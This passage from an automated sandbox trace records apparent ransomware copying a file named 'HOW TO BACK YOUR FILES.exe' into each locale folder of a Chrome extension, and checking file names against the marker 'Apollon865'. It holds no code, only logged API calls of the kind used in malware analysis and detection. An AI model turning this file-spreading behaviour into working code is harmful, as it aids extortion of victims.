	[0048.459] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.463] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.463] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f562b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f562b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.463] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.463] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.464] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.464] lstrlenW (lpString="messages.json") returned 13
	[0048.464] lstrlenW (lpString="Apollon865") returned 10
	[0048.464] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.464] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si"
	[0048.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b45d0 | out: hHeap=0x580000) returned 1
	[0048.464] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afda8 | out: hHeap=0x580000) returned 1
	[0048.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si") returned 137
	[0048.464] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si"
	[0048.464] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.464] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.468] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.468] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f562b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f562b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.468] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.468] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.468] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.469] lstrlenW (lpString="messages.json") returned 13
	[0048.469] lstrlenW (lpString="Apollon865") returned 10
	[0048.469] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.469] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru"
	[0048.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b44a8 | out: hHeap=0x580000) returned 1
	[0048.469] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd88 | out: hHeap=0x580000) returned 1
	[0048.469] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru") returned 137
	[0048.469] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru"
	[0048.469] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.469] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.475] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.475] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f562b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f562b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.475] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.475] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.475] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.475] lstrlenW (lpString="messages.json") returned 13
	[0048.475] lstrlenW (lpString="Apollon865") returned 10
	[0048.475] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.475] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro"
	[0048.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b4380 | out: hHeap=0x580000) returned 1
	[0048.475] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd68 | out: hHeap=0x580000) returned 1
	[0048.475] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro") returned 137
	[0048.475] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro"
	[0048.475] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.475] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.482] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.482] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f7c410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f7c410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.482] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.482] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.482] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.482] lstrlenW (lpString="messages.json") returned 13
	[0048.482] lstrlenW (lpString="Apollon865") returned 10
	[0048.482] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.482] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT"
	[0048.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b4258 | out: hHeap=0x580000) returned 1
	[0048.482] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd48 | out: hHeap=0x580000) returned 1
	[0048.482] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT") returned 140
	[0048.482] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT"
	[0048.482] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.486] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.486] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f7c410, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f7c410, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.487] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.487] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.487] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.487] lstrlenW (lpString="messages.json") returned 13
	[0048.487] lstrlenW (lpString="Apollon865") returned 10
	[0048.487] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.487] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR"
	[0048.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b4130 | out: hHeap=0x580000) returned 1
	[0048.487] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd28 | out: hHeap=0x580000) returned 1
	[0048.487] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR") returned 140
	[0048.487] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR"
	[0048.487] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.492] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.492] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fa2570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fa2570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.492] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.492] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.492] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.492] lstrlenW (lpString="messages.json") returned 13
	[0048.492] lstrlenW (lpString="Apollon865") returned 10
	[0048.492] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.492] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl"
	[0048.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b4008 | out: hHeap=0x580000) returned 1
	[0048.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd08 | out: hHeap=0x580000) returned 1
	[0048.492] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl") returned 137
	[0048.492] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl"
	[0048.492] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.492] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.496] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.496] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34fa2570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34fa2570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.496] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.496] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.496] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.496] lstrlenW (lpString="messages.json") returned 13
	[0048.496] lstrlenW (lpString="Apollon865") returned 10
	[0048.496] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.496] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no"
	[0048.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3ee0 | out: hHeap=0x580000) returned 1
	[0048.496] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afce8 | out: hHeap=0x580000) returned 1
	[0048.496] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no") returned 137
